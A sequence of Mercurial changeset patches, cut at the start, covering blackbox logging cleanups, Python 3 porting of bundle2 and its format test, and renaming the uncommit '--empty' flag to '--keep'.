-            w = 0.5
-        elif f in ('reverse', 'limit', 'first', 'wdir', '_intlist'):
-            w = 0
-        elif f == "sort":
-            w = 10 # assume most sorts look at changelog
-        else:
-            w = 1
+        w = getattr(symbols.get(f), '_weight', 1)
         return w + wa, (op, x[1], ta)
     raise ValueError('invalid operator %r' % op)
 
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1505775368 25200
#      Mon Sep 18 15:56:08 2017 -0700
# Node ID a37e18b5f05546ab819682154b1b14bb5b7671dc
# Parent  b0790bebfcf8fb81892adf7675561766aed056d4
blackbox: simplify ui states

It seems cleaner to just remove `_partialinit`, `copy`, `__init__`. This
patch makes it so by using `getattr` in `log` so those fields do not need to
be existed.

Differential Revision: https://phab.mercurial-scm.org/D652

diff --git a/hgext/blackbox.py b/hgext/blackbox.py
--- a/hgext/blackbox.py
+++ b/hgext/blackbox.py
@@ -75,24 +75,6 @@
 
 def wrapui(ui):
     class blackboxui(ui.__class__):
-        def __init__(self, src=None):
-            super(blackboxui, self).__init__(src)
-            if src is None:
-                self._partialinit()
-            else:
-                self._bbinlog = False
-                self._bbrepo = getattr(src, '_bbrepo', None)
-
-        def _partialinit(self):
-            if self._bbvfs:
-                return
-            self._bbinlog = False
-            self._bbrepo = None
-
-        def copy(self):
-            self._partialinit()
-            return self.__class__(self)
-
         @property
         def _bbvfs(self):
             repo = getattr(self, '_bbrepo', None)
@@ -140,7 +122,6 @@
         def log(self, event, *msg, **opts):
             global lastui
             super(blackboxui, self).log(event, *msg, **opts)
-            self._partialinit()
 
             if not '*' in self.track and not event in self.track:
                 return
@@ -155,9 +136,10 @@
 
             if not ui:
                 return
-            if not lastui or ui._bbrepo:
+            repo = getattr(ui, '_bbrepo', None)
+            if not lastui or repo:
                 lastui = ui
-            if ui._bbinlog:
+            if getattr(ui, '_bbinlog', False):
                 # recursion and failure guard
                 return
             try:
@@ -169,8 +151,8 @@
                 formattedmsg = msg[0] % msg[1:]
                 rev = '(unknown)'
                 changed = ''
-                if ui._bbrepo:
-                    ctx = ui._bbrepo[None]
+                if repo:
+                    ctx = repo[None]
                     parents = ctx.parents()
                     rev = ('+'.join([hex(p.node()) for p in parents]))
                     if (ui.configbool('blackbox', 'dirty') and
@@ -196,7 +178,6 @@
                 pass
 
         def setrepo(self, repo):
-            self._bbinlog = False
             self._bbrepo = repo
 
     ui.__class__ = blackboxui
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1504758218 25200
#      Wed Sep 06 21:23:38 2017 -0700
# Node ID 86a5df995880ca12efadfd0627796e79a619ee99
# Parent  a37e18b5f05546ab819682154b1b14bb5b7671dc
blackbox: unindent a try block

The try block is no longer necessary.

Differential Revision: https://phab.mercurial-scm.org/D654

diff --git a/hgext/blackbox.py b/hgext/blackbox.py
--- a/hgext/blackbox.py
+++ b/hgext/blackbox.py
@@ -142,40 +142,37 @@
             if getattr(ui, '_bbinlog', False):
                 # recursion and failure guard
                 return
+            ui._bbinlog = True
+            default = self.configdate('devel', 'default-date')
+            date = util.datestr(default, '%Y/%m/%d %H:%M:%S')
+            user = util.getuser()
+            pid = '%d' % util.getpid()
+            formattedmsg = msg[0] % msg[1:]
+            rev = '(unknown)'
+            changed = ''
+            if repo:
+                ctx = repo[None]
+                parents = ctx.parents()
+                rev = ('+'.join([hex(p.node()) for p in parents]))
+                if (ui.configbool('blackbox', 'dirty') and
+                    ctx.dirty(missing=True, merge=False, branch=False)):
+                    changed = '+'
+            if ui.configbool('blackbox', 'logsource'):
+                src = ' [%s]' % event
+            else:
+                src = ''
             try:
-                ui._bbinlog = True
-                default = self.configdate('devel', 'default-date')
-                date = util.datestr(default, '%Y/%m/%d %H:%M:%S')
-                user = util.getuser()
-                pid = '%d' % util.getpid()
-                formattedmsg = msg[0] % msg[1:]
-                rev = '(unknown)'
-                changed = ''
-                if repo:
-                    ctx = repo[None]
-                    parents = ctx.parents()
-                    rev = ('+'.join([hex(p.node()) for p in parents]))
-                    if (ui.configbool('blackbox', 'dirty') and
-                        ctx.dirty(missing=True, merge=False, branch=False)):
-                        changed = '+'
-                if ui.configbool('blackbox', 'logsource'):
-                    src = ' [%s]' % event
-                else:
-                    src = ''
-                try:
-                    fmt = '%s %s @%s%s (%s)%s> %s'
-                    args = (date, user, rev, changed, pid, src, formattedmsg)
-                    with ui._openlogfile() as fp:
-                        fp.write(fmt % args)
-                except (IOError, OSError) as err:
-                    self.debug('warning: cannot write to blackbox.log: %s\n' %
-                               err.strerror)
-                    # do not restore _bbinlog intentionally to avoid failed
-                    # logging again
-                else:
-                    ui._bbinlog = False
-            finally:
-                pass
+                fmt = '%s %s @%s%s (%s)%s> %s'
+                args = (date, user, rev, changed, pid, src, formattedmsg)
+                with ui._openlogfile() as fp:
+                    fp.write(fmt % args)
+            except (IOError, OSError) as err:
+                self.debug('warning: cannot write to blackbox.log: %s\n' %
+                           err.strerror)
+                # do not restore _bbinlog intentionally to avoid failed
+                # logging again
+            else:
+                ui._bbinlog = False
 
         def setrepo(self, repo):
             self._bbrepo = repo
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1505775663 25200
#      Mon Sep 18 16:01:03 2017 -0700
# Node ID b90bd9a98c8ba06afdb7f32d434e501d7b3c3929
# Parent  86a5df995880ca12efadfd0627796e79a619ee99
blackbox: set lastui even if ui.log is not called (issue5518)

`lastui` decides where (where is the `.hg`) to use if the current `ui`
object does not have a `_bbrepo` associated. Previously it only gets set in
`ui.log`, which means unless a `ui` with repo associated calls `log` with
tracked event, blackbox does not know where to write its log. This patch
makes `reposetup` set `lastui` so it so we could log some more events (see
test changes).

Differential Revision: https://phab.mercurial-scm.org/D655

diff --git a/hgext/blackbox.py b/hgext/blackbox.py
--- a/hgext/blackbox.py
+++ b/hgext/blackbox.py
@@ -192,6 +192,13 @@
 
     if util.safehasattr(ui, 'setrepo'):
         ui.setrepo(repo)
+
+        # Set lastui even if ui.log is not called. This gives blackbox a
+        # fallback place to log.
+        global lastui
+        if lastui is None:
+            lastui = ui
+
     repo._wlockfreeprefix.add('blackbox.log')
 
 @command('^blackbox',
diff --git a/tests/test-blackbox.t b/tests/test-blackbox.t
--- a/tests/test-blackbox.t
+++ b/tests/test-blackbox.t
@@ -15,6 +15,7 @@
   $ echo a > a
   $ hg add a
   $ hg blackbox --config blackbox.dirty=True
+  1970/01/01 00:00:00 bob @0000000000000000000000000000000000000000 (5000)> init blackboxtest exited 0 after * seconds (glob)
   1970/01/01 00:00:00 bob @0000000000000000000000000000000000000000 (5000)> add a
   1970/01/01 00:00:00 bob @0000000000000000000000000000000000000000 (5000)> add a exited 0 after * seconds (glob)
   1970/01/01 00:00:00 bob @0000000000000000000000000000000000000000+ (5000)> blackbox
@@ -22,6 +23,7 @@
 alias expansion is logged
   $ hg confuse
   $ hg blackbox
+  1970/01/01 00:00:00 bob @0000000000000000000000000000000000000000 (5000)> init blackboxtest exited 0 after * seconds (glob)
   1970/01/01 00:00:00 bob @0000000000000000000000000000000000000000 (5000)> add a
   1970/01/01 00:00:00 bob @0000000000000000000000000000000000000000 (5000)> add a exited 0 after * seconds (glob)
   1970/01/01 00:00:00 bob @0000000000000000000000000000000000000000+ (5000)> blackbox
@@ -174,6 +176,7 @@
   $ hg init blackboxtest3
   $ cd blackboxtest3
   $ hg blackbox
+  1970/01/01 00:00:00 bob @0000000000000000000000000000000000000000 (5000)> init blackboxtest3 exited 0 after * seconds (glob)
   1970/01/01 00:00:00 bob @0000000000000000000000000000000000000000 (5000)> blackbox
   $ mv .hg/blackbox.log .hg/blackbox.log-
   $ mkdir .hg/blackbox.log
@@ -284,3 +287,41 @@
   $ cd ..
 
 #endif
+
+blackbox should work if repo.ui.log is not called (issue5518)
+
+  $ cat > $TESTTMP/raise.py << EOF
+  > from __future__ import absolute_import
+  > from mercurial import registrar, scmutil
+  > cmdtable = {}
+  > command = registrar.command(cmdtable)
+  > @command('raise')
+  > def raisecmd(*args):
+  >     raise RuntimeError('raise')
+  > EOF
+
+  $ cat >> $HGRCPATH << EOF
+  > [blackbox]
+  > track = commandexception
+  > [extensions]
+  > raise=$TESTTMP/raise.py
+  > EOF
+
+  $ hg init $TESTTMP/blackbox-exception-only
+  $ cd $TESTTMP/blackbox-exception-only
+
+#if chg
+ (chg exits 255 because it fails to receive an exit code)
+  $ hg raise 2>/dev/null
+  [255]
+#else
+ (hg exits 1 because Python default exit code for uncaught exception is 1)
+  $ hg raise 2>/dev/null
+  [1]
+#endif
+
+  $ head -1 .hg/blackbox.log
+  1970/01/01 00:00:00 bob @0000000000000000000000000000000000000000 (5000)> ** Unknown exception encountered with possibly-broken third-party extension mock
+  $ tail -2 .hg/blackbox.log
+  RuntimeError: raise
+  
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1505756143 14400
#      Mon Sep 18 13:35:43 2017 -0400
# Node ID a48b3db0baba998ad627dfb4e1dd087222f15cb3
# Parent  b90bd9a98c8ba06afdb7f32d434e501d7b3c3929
bundle2: stop using %r to quote part names

Valid part names are restricted to [a-zA-Z0-9_:-]+, so I'm not worried
about having quoting present in places where we should have
predominantly valid part names. This will significantly ease the
Python 3 transition, and simultaneously isn't a BC because this is
only in error messages that should never be shown.

diff --git a/mercurial/bundle2.py b/mercurial/bundle2.py
--- a/mercurial/bundle2.py
+++ b/mercurial/bundle2.py
@@ -470,12 +470,12 @@
         if handler is None:
             status = 'unsupported-type'
             raise error.BundleUnknownFeatureError(parttype=part.type)
-        indebug(op.ui, 'found a handler for part %r' % part.type)
+        indebug(op.ui, 'found a handler for part %s' % part.type)
         unknownparams = part.mandatorykeys - handler.params
         if unknownparams:
             unknownparams = list(unknownparams)
             unknownparams.sort()
-            status = 'unsupported-params (%s)' % unknownparams
+            status = 'unsupported-params (%s)' % ', '.join(unknownparams)
             raise error.BundleUnknownFeatureError(parttype=part.type,
                                                   params=unknownparams)
         status = 'supported'
@@ -616,7 +616,7 @@
         if not name:
             raise ValueError('empty parameter name')
         if name[0] not in pycompat.bytestr(string.ascii_letters):
-            raise ValueError('non letter first character: %r' % name)
+            raise ValueError('non letter first character: %s' % name)
         self._params.append((name, value))
 
     def addpart(self, part):
@@ -792,14 +792,14 @@
               ignored or failing.
         """
         if not name:
-            raise ValueError('empty parameter name')
-        if name[0] not in pycompat.bytestr(string.ascii_letters):
-            raise ValueError('non letter first character: %r' % name)
+            raise ValueError(r'empty parameter name')
+        if name[0:1] not in pycompat.bytestr(string.ascii_letters):
+            raise ValueError(r'non letter first character: %s' % name)
         try:
             handler = b2streamparamsmap[name.lower()]
         except KeyError:
-            if name[0].islower():
-                indebug(self.ui, "ignoring unknown parameter %r" % name)
+            if name[0:1].islower():
+                indebug(self.ui, "ignoring unknown parameter %s" % name)
             else:
                 raise error.BundleUnknownFeatureError(params=(name,))
         else:
diff --git a/tests/test-bundle2-format.t b/tests/test-bundle2-format.t
--- a/tests/test-bundle2-format.t
+++ b/tests/test-bundle2-format.t
@@ -410,8 +410,8 @@
   $ hg statbundle2 --debug --config progress.debug=true --config devel.bundle2.debug=true < ../out.hg2
   bundle2-input: start processing of HG20 stream
   bundle2-input: reading bundle2 stream parameters
-  bundle2-input: ignoring unknown parameter 'e|! 7/'
-  bundle2-input: ignoring unknown parameter 'simple'
+  bundle2-input: ignoring unknown parameter e|! 7/
+  bundle2-input: ignoring unknown parameter simple
   options count: 2
   - e|! 7/
       babar%#==tutu
@@ -434,7 +434,7 @@
 bad parameter name
 
   $ hg bundle2 --param 42babar
-  abort: non letter first character: '42babar'
+  abort: non letter first character: 42babar
   [255]
 
 
@@ -651,7 +651,7 @@
   bundle2-input: part type: "test:song"
   bundle2-input: part id: "2"
   bundle2-input: part parameters: 0
-  bundle2-input: found a handler for part 'test:song'
+  bundle2-input: found a handler for part test:song
   bundle2-input-part: "test:song" (advisory) supported
   The choir starts singing:
   bundle2-input: payload chunk size: 178
@@ -664,7 +664,7 @@
   bundle2-input: part type: "test:debugreply"
   bundle2-input: part id: "3"
   bundle2-input: part parameters: 0
-  bundle2-input: found a handler for part 'test:debugreply'
+  bundle2-input: found a handler for part test:debugreply
   bundle2-input-part: "test:debugreply" (advisory) supported
   debugreply: no reply
   bundle2-input: payload chunk size: 0
@@ -681,15 +681,15 @@
   bundle2-input: part type: "test:song"
   bundle2-input: part id: "5"
   bundle2-input: part parameters: 1
-  bundle2-input: found a handler for part 'test:song'
+  bundle2-input: found a handler for part test:song
   bundle2-input: ignoring unsupported advisory part test:song - randomparam
-  bundle2-input-part: "test:song" (advisory) (params: 1 mandatory) unsupported-params (['randomparam'])
+  bundle2-input-part: "test:song" (advisory) (params: 1 mandatory) unsupported-params (randomparam)
   bundle2-input: payload chunk size: 0
   bundle2-input: part header size: 16
   bundle2-input: part type: "test:ping"
   bundle2-input: part id: "6"
   bundle2-input: part parameters: 0
-  bundle2-input: found a handler for part 'test:ping'
+  bundle2-input: found a handler for part test:ping
   bundle2-input-part: "test:ping" (advisory) supported
   received ping request (id 6)
   bundle2-input: payload chunk size: 0
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1505756165 14400
#      Mon Sep 18 13:36:05 2017 -0400
# Node ID ea7588c11c36b0e6ae95b0ede3189d142125e87c
# Parent  a48b3db0baba998ad627dfb4e1dd087222f15cb3
bundle2: update check for a generator to work on Python 3

diff --git a/mercurial/bundle2.py b/mercurial/bundle2.py
--- a/mercurial/bundle2.py
+++ b/mercurial/bundle2.py
@@ -1019,7 +1019,8 @@
                 msg.append(')')
             if not self.data:
                 msg.append(' empty payload')
-            elif util.safehasattr(self.data, 'next'):
+            elif (util.safehasattr(self.data, 'next')
+                  or util.safehasattr(self.data, '__next__')):
                 msg.append(' streamed payload')
             else:
                 msg.append(' %i bytes payload' % len(self.data))
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1505757801 14400
#      Mon Sep 18 14:03:21 2017 -0400
# Node ID 047f2af8ceb0e3a381678f74ea5cbd7c57dcc6e8
# Parent  ea7588c11c36b0e6ae95b0ede3189d142125e87c
bundle2: make ValueError messages native strings

diff --git a/mercurial/bundle2.py b/mercurial/bundle2.py
--- a/mercurial/bundle2.py
+++ b/mercurial/bundle2.py
@@ -614,9 +614,9 @@
     def addparam(self, name, value=None):
         """add a stream level parameter"""
         if not name:
-            raise ValueError('empty parameter name')
+            raise ValueError(r'empty parameter name')
         if name[0] not in pycompat.bytestr(string.ascii_letters):
-            raise ValueError('non letter first character: %s' % name)
+            raise ValueError(r'non letter first character: %s' % name)
         self._params.append((name, value))
 
     def addpart(self, part):
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1505795275 14400
#      Tue Sep 19 00:27:55 2017 -0400
# Node ID 2bdd55abd56c72e14c56cd8c7be40beeda02195c
# Parent  047f2af8ceb0e3a381678f74ea5cbd7c57dcc6e8
bundle2: portably grab first byte of part name for letter check

diff --git a/mercurial/bundle2.py b/mercurial/bundle2.py
--- a/mercurial/bundle2.py
+++ b/mercurial/bundle2.py
@@ -615,7 +615,7 @@
         """add a stream level parameter"""
         if not name:
             raise ValueError(r'empty parameter name')
-        if name[0] not in pycompat.bytestr(string.ascii_letters):
+        if name[0:1] not in pycompat.bytestr(string.ascii_letters):
             raise ValueError(r'non letter first character: %s' % name)
         self._params.append((name, value))
 
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1505757845 14400
#      Mon Sep 18 14:04:05 2017 -0400
# Node ID c9eabc37bb98073e0f04951476e8330cf0b2bfe5
# Parent  2bdd55abd56c72e14c56cd8c7be40beeda02195c
tests: port test-bundle2-format inline helper script to Python 3

We're now very close to this test passing.

diff --git a/tests/test-bundle2-format.t b/tests/test-bundle2-format.t
--- a/tests/test-bundle2-format.t
+++ b/tests/test-bundle2-format.t
@@ -22,6 +22,7 @@
   > from mercurial import changegroup
   > from mercurial import error
   > from mercurial import obsolete
+  > from mercurial import pycompat
   > from mercurial import registrar
   > 
   > 
@@ -36,58 +37,58 @@
   > cmdtable = {}
   > command = registrar.command(cmdtable)
   > 
-  > ELEPHANTSSONG = """Patali Dirapata, Cromda Cromda Ripalo, Pata Pata, Ko Ko Ko
+  > ELEPHANTSSONG = b"""Patali Dirapata, Cromda Cromda Ripalo, Pata Pata, Ko Ko Ko
   > Bokoro Dipoulito, Rondi Rondi Pepino, Pata Pata, Ko Ko Ko
   > Emana Karassoli, Loucra Loucra Ponponto, Pata Pata, Ko Ko Ko."""
   > assert len(ELEPHANTSSONG) == 178 # future test say 178 bytes, trust it.
   > 
-  > @bundle2.parthandler('test:song')
+  > @bundle2.parthandler(b'test:song')
   > def songhandler(op, part):
   >     """handle a "test:song" bundle2 part, printing the lyrics on stdin"""
-  >     op.ui.write('The choir starts singing:\n')
+  >     op.ui.write(b'The choir starts singing:\n')
   >     verses = 0
-  >     for line in part.read().split('\n'):
-  >         op.ui.write('    %s\n' % line)
+  >     for line in part.read().split(b'\n'):
+  >         op.ui.write(b'    %s\n' % line)
   >         verses += 1
-  >     op.records.add('song', {'verses': verses})
+  >     op.records.add(b'song', {b'verses': verses})
   > 
-  > @bundle2.parthandler('test:ping')
+  > @bundle2.parthandler(b'test:ping')
   > def pinghandler(op, part):
-  >     op.ui.write('received ping request (id %i)\n' % part.id)
-  >     if op.reply is not None and 'ping-pong' in op.reply.capabilities:
-  >         op.ui.write_err('replying to ping request (id %i)\n' % part.id)
-  >         op.reply.newpart('test:pong', [('in-reply-to', str(part.id))],
+  >     op.ui.write(b'received ping request (id %i)\n' % part.id)
+  >     if op.reply is not None and b'ping-pong' in op.reply.capabilities:
+  >         op.ui.write_err(b'replying to ping request (id %i)\n' % part.id)
+  >         op.reply.newpart(b'test:pong', [(b'in-reply-to', b'%d' % part.id)],
   >                          mandatory=False)
   > 
-  > @bundle2.parthandler('test:debugreply')
+  > @bundle2.parthandler(b'test:debugreply')
   > def debugreply(op, part):
   >     """print data about the capacity of the bundle reply"""
   >     if op.reply is None:
-  >         op.ui.write('debugreply: no reply\n')
+  >         op.ui.write(b'debugreply: no reply\n')
   >     else:
-  >         op.ui.write('debugreply: capabilities:\n')
+  >         op.ui.write(b'debugreply: capabilities:\n')
   >         for cap in sorted(op.reply.capabilities):
-  >             op.ui.write('debugreply:     %r\n' % cap)
+  >             op.ui.write(b'debugreply:     %r\n' % cap)
   >             for val in op.reply.capabilities[cap]:
-  >                 op.ui.write('debugreply:         %r\n' % val)
+  >                 op.ui.write(b'debugreply:         %r\n' % val)
   > 
   > @command(b'bundle2',
-  >          [('', 'param', [], 'stream level parameter'),
-  >           ('', 'unknown', False, 'include an unknown mandatory part in the bundle'),
-  >           ('', 'unknownparams', False, 'include an unknown part parameters in the bundle'),
-  >           ('', 'parts', False, 'include some arbitrary parts to the bundle'),
-  >           ('', 'reply', False, 'produce a reply bundle'),
-  >           ('', 'pushrace', False, 'includes a check:head part with unknown nodes'),
-  >           ('', 'genraise', False, 'includes a part that raise an exception during generation'),
-  >           ('', 'timeout', False, 'emulate a timeout during bundle generation'),
-  >           ('r', 'rev', [], 'includes those changeset in the bundle'),
-  >           ('', 'compress', '', 'compress the stream'),],
-  >          '[OUTPUTFILE]')
+  >          [(b'', b'param', [], b'stream level parameter'),
+  >           (b'', b'unknown', False, b'include an unknown mandatory part in the bundle'),
+  >           (b'', b'unknownparams', False, b'include an unknown part parameters in the bundle'),
+  >           (b'', b'parts', False, b'include some arbitrary parts to the bundle'),
+  >           (b'', b'reply', False, b'produce a reply bundle'),
+  >           (b'', b'pushrace', False, b'includes a check:head part with unknown nodes'),
+  >           (b'', b'genraise', False, b'includes a part that raise an exception during generation'),
+  >           (b'', b'timeout', False, b'emulate a timeout during bundle generation'),
+  >           (b'r', b'rev', [], b'includes those changeset in the bundle'),
+  >           (b'', b'compress', b'', b'compress the stream'),],
+  >          b'[OUTPUTFILE]')
   > def cmdbundle2(ui, repo, path=None, **opts):
   >     """write a bundle2 container on standard output"""
   >     bundler = bundle2.bundle20(ui)
   >     for p in opts['param']:
-  >         p = p.split('=', 1)
+  >         p = p.split(b'=', 1)
   >         try:
   >             bundler.addparam(*p)
   >         except ValueError as exc:
@@ -97,13 +98,13 @@
   >         bundler.setcompression(opts['compress'])
   > 
   >     if opts['reply']:
-  >         capsstring = 'ping-pong\nelephants=babar,celeste\ncity%3D%21=celeste%2Cville'
-  >         bundler.newpart('replycaps', data=capsstring)
+  >         capsstring = b'ping-pong\nelephants=babar,celeste\ncity%3D%21=celeste%2Cville'
+  >         bundler.newpart(b'replycaps', data=capsstring)
   > 
   >     if opts['pushrace']:
   >         # also serve to test the assignement of data outside of init
-  >         part = bundler.newpart('check:heads')
-  >         part.data = '01234567890123456789'
+  >         part = bundler.newpart(b'check:heads')
+  >         part.data = b'01234567890123456789'
   > 
   >     revs = opts['rev']
   >     if 'rev' in opts:
@@ -114,46 +115,46 @@
   >             headmissing = [c.node() for c in repo.set('heads(%ld)', revs)]
   >             headcommon  = [c.node() for c in repo.set('parents(%ld) - %ld', revs, revs)]
   >             outgoing = discovery.outgoing(repo, headcommon, headmissing)
-  >             cg = changegroup.makechangegroup(repo, outgoing, '01',
-  >                                              'test:bundle2')
-  >             bundler.newpart('changegroup', data=cg.getchunks(),
+  >             cg = changegroup.makechangegroup(repo, outgoing, b'01',
+  >                                              b'test:bundle2')
+  >             bundler.newpart(b'changegroup', data=cg.getchunks(),
   >                             mandatory=False)
   > 
   >     if opts['parts']:
-  >        bundler.newpart('test:empty', mandatory=False)
+  >        bundler.newpart(b'test:empty', mandatory=False)
   >        # add a second one to make sure we handle multiple parts
-  >        bundler.newpart('test:empty', mandatory=False)
-  >        bundler.newpart('test:song', data=ELEPHANTSSONG, mandatory=False)
-  >        bundler.newpart('test:debugreply', mandatory=False)
-  >        mathpart = bundler.newpart('test:math')
-  >        mathpart.addparam('pi', '3.14')
-  >        mathpart.addparam('e', '2.72')
-  >        mathpart.addparam('cooking', 'raw', mandatory=False)
-  >        mathpart.data = '42'
+  >        bundler.newpart(b'test:empty', mandatory=False)
+  >        bundler.newpart(b'test:song', data=ELEPHANTSSONG, mandatory=False)
+  >        bundler.newpart(b'test:debugreply', mandatory=False)
+  >        mathpart = bundler.newpart(b'test:math')
+  >        mathpart.addparam(b'pi', b'3.14')
+  >        mathpart.addparam(b'e', b'2.72')
+  >        mathpart.addparam(b'cooking', b'raw', mandatory=False)
+  >        mathpart.data = b'42'
   >        mathpart.mandatory = False
   >        # advisory known part with unknown mandatory param
-  >        bundler.newpart('test:song', [('randomparam','')], mandatory=False)
+  >        bundler.newpart(b'test:song', [(b'randomparam', b'')], mandatory=False)
   >     if opts['unknown']:
-  >        bundler.newpart('test:unknown', data='some random content')
+  >        bundler.newpart(b'test:unknown', data=b'some random content')
   >     if opts['unknownparams']:
-  >        bundler.newpart('test:song', [('randomparams', '')])
+  >        bundler.newpart(b'test:song', [(b'randomparams', b'')])
   >     if opts['parts']:
-  >        bundler.newpart('test:ping', mandatory=False)
+  >        bundler.newpart(b'test:ping', mandatory=False)
   >     if opts['genraise']:
   >        def genraise():
-  >            yield 'first line\n'
+  >            yield b'first line\n'
   >            raise RuntimeError('Someone set up us the bomb!')
-  >        bundler.newpart('output', data=genraise(), mandatory=False)
+  >        bundler.newpart(b'output', data=genraise(), mandatory=False)
   > 
   >     if path is None:
-  >        file = sys.stdout
+  >        file = pycompat.stdout
   >     else:
   >         file = open(path, 'wb')
   > 
   >     if opts['timeout']:
-  >         bundler.newpart('test:song', data=ELEPHANTSSONG, mandatory=False)
+  >         bundler.newpart(b'test:song', data=ELEPHANTSSONG, mandatory=False)
   >         for idx, junk in enumerate(bundler.getchunks()):
-  >             ui.write('%d chunk\n' % idx)
+  >             ui.write(b'%d chunk\n' % idx)
   >             if idx > 4:
   >                 # This throws a GeneratorExit inside the generator, which
   >                 # can cause problems if the exception-recovery code is
@@ -161,7 +162,7 @@
   >                 # occur while we're in the middle of a part.
   >                 break
   >         gc.collect()
-  >         ui.write('fake timeout complete.\n')
+  >         ui.write(b'fake timeout complete.\n')
   >         return
   >     try:
   >         for chunk in bundler.getchunks():
@@ -171,15 +172,15 @@
   >     finally:
   >         file.flush()
   > 
-  > @command(b'unbundle2', [], '')
+  > @command(b'unbundle2', [], b'')
   > def cmdunbundle2(ui, repo, replypath=None):
   >     """process a bundle2 stream from stdin on the current repo"""
   >     try:
   >         tr = None
   >         lock = repo.lock()
-  >         tr = repo.transaction('processbundle')
+  >         tr = repo.transaction(b'processbundle')
   >         try:
-  >             unbundler = bundle2.getunbundler(ui, sys.stdin)
+  >             unbundler = bundle2.getunbundler(ui, pycompat.stdin)
   >             op = bundle2.processbundle(repo, unbundler, lambda: tr)
   >             tr.close()
   >         except error.BundleValueError as exc:
@@ -190,40 +191,40 @@
   >         if tr is not None:
   >             tr.release()
   >         lock.release()
-  >         remains = sys.stdin.read()
-  >         ui.write('%i unread bytes\n' % len(remains))
-  >     if op.records['song']:
-  >         totalverses = sum(r['verses'] for r in op.records['song'])
-  >         ui.write('%i total verses sung\n' % totalverses)
-  >     for rec in op.records['changegroup']:
-  >         ui.write('addchangegroup return: %i\n' % rec['return'])
+  >         remains = pycompat.stdin.read()
+  >         ui.write(b'%i unread bytes\n' % len(remains))
+  >     if op.records[b'song']:
+  >         totalverses = sum(r[b'verses'] for r in op.records[b'song'])
+  >         ui.write(b'%i total verses sung\n' % totalverses)
+  >     for rec in op.records[b'changegroup']:
+  >         ui.write(b'addchangegroup return: %i\n' % rec[b'return'])
   >     if op.reply is not None and replypath is not None:
   >         with open(replypath, 'wb') as file:
   >             for chunk in op.reply.getchunks():
   >                 file.write(chunk)
   > 
-  > @command(b'statbundle2', [], '')
+  > @command(b'statbundle2', [], b'')
   > def cmdstatbundle2(ui, repo):
   >     """print statistic on the bundle2 container read from stdin"""
-  >     unbundler = bundle2.getunbundler(ui, sys.stdin)
+  >     unbundler = bundle2.getunbundler(ui, pycompat.stdin)
   >     try:
   >         params = unbundler.params
   >     except error.BundleValueError as exc:
-  >        raise error.Abort('unknown parameters: %s' % exc)
-  >     ui.write('options count: %i\n' % len(params))
+  >        raise error.Abort(b'unknown parameters: %s' % exc)
+  >     ui.write(b'options count: %i\n' % len(params))
   >     for key in sorted(params):
-  >         ui.write('- %s\n' % key)
+  >         ui.write(b'- %s\n' % key)
   >         value = params[key]
   >         if value is not None:
-  >             ui.write('    %s\n' % value)
+  >             ui.write(b'    %s\n' % value)
   >     count = 0
   >     for p in unbundler.iterparts():
   >         count += 1
-  >         ui.write('  :%s:\n' % p.type)
-  >         ui.write('    mandatory: %i\n' % len(p.mandatoryparams))
-  >         ui.write('    advisory: %i\n' % len(p.advisoryparams))
-  >         ui.write('    payload: %i bytes\n' % len(p.read()))
-  >     ui.write('parts count:   %i\n' % count)
+  >         ui.write(b'  :%s:\n' % p.type)
+  >         ui.write(b'    mandatory: %i\n' % len(p.mandatoryparams))
+  >         ui.write(b'    advisory: %i\n' % len(p.advisoryparams))
+  >         ui.write(b'    payload: %i bytes\n' % len(p.read()))
+  >     ui.write(b'parts count:   %i\n' % count)
   > EOF
   $ cat >> $HGRCPATH << EOF
   > [extensions]
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1505758787 14400
#      Mon Sep 18 14:19:47 2017 -0400
# Node ID 3e92322d3b1f70f57e1ad61345f163e9ab6dec43
# Parent  c9eabc37bb98073e0f04951476e8330cf0b2bfe5
tests: avoid repr in test-bundle2-format.t

We don't *really* need it here, and it was making Python 3 harder.

diff --git a/tests/test-bundle2-format.t b/tests/test-bundle2-format.t
--- a/tests/test-bundle2-format.t
+++ b/tests/test-bundle2-format.t
@@ -68,9 +68,9 @@
   >     else:
   >         op.ui.write(b'debugreply: capabilities:\n')
   >         for cap in sorted(op.reply.capabilities):
-  >             op.ui.write(b'debugreply:     %r\n' % cap)
+  >             op.ui.write(b"debugreply:     '%s'\n" % cap)
   >             for val in op.reply.capabilities[cap]:
-  >                 op.ui.write(b'debugreply:         %r\n' % val)
+  >                 op.ui.write(b"debugreply:         '%s'\n" % val)
   > 
   > @command(b'bundle2',
   >          [(b'', b'param', [], b'stream level parameter'),
# HG changeset patch
# User Pulkit Goyal <7895pulkit@gmail.com>
# Date 1505509453 -19800
#      Sat Sep 16 02:34:13 2017 +0530
# Node ID f94442d4698402f27201527b0663c93253ef7831
# Parent  3e92322d3b1f70f57e1ad61345f163e9ab6dec43
uncommit: rename the flag 'empty' to 'keep' which retains empty changeset

This patch renames the flag 'empty' which retains the empty changeset if all
the files are uncommitted to 'keep'.

Differential Revision: https://phab.mercurial-scm.org/D726

diff --git a/hgext/uncommit.py b/hgext/uncommit.py
--- a/hgext/uncommit.py
+++ b/hgext/uncommit.py
@@ -133,7 +133,7 @@
         ds.copy(src, dst)
 
 @command('uncommit',
-    [('', 'empty', False, _('allow an empty commit after uncommiting')),
+    [('', 'keep', False, _('allow an empty commit after uncommiting')),
     ] + commands.walkopts,
     _('[OPTION]... [FILE]...'))
 def uncommit(ui, repo, *pats, **opts):
@@ -163,7 +163,7 @@
 
         with repo.transaction('uncommit'):
             match = scmutil.match(old, pats, opts)
-            newid = _commitfiltered(repo, old, match, opts.get('empty'))
+            newid = _commitfiltered(repo, old, match, opts.get('keep'))
             if newid is None:
                 ui.status(_("nothing to uncommit\n"))
                 return 1
diff --git a/tests/test-uncommit.t b/tests/test-uncommit.t
--- a/tests/test-uncommit.t
+++ b/tests/test-uncommit.t
@@ -30,7 +30,7 @@
   
   options ([+] can be repeated):
   
-      --empty               allow an empty commit after uncommiting
+      --keep                allow an empty commit after uncommiting
    -I --include PATTERN [+] include names matching the given patterns
    -X --exclude PATTERN [+] exclude names matching the given patterns
   
@@ -286,7 +286,7 @@
   > P
   > EOS
   $ hg up Q -q
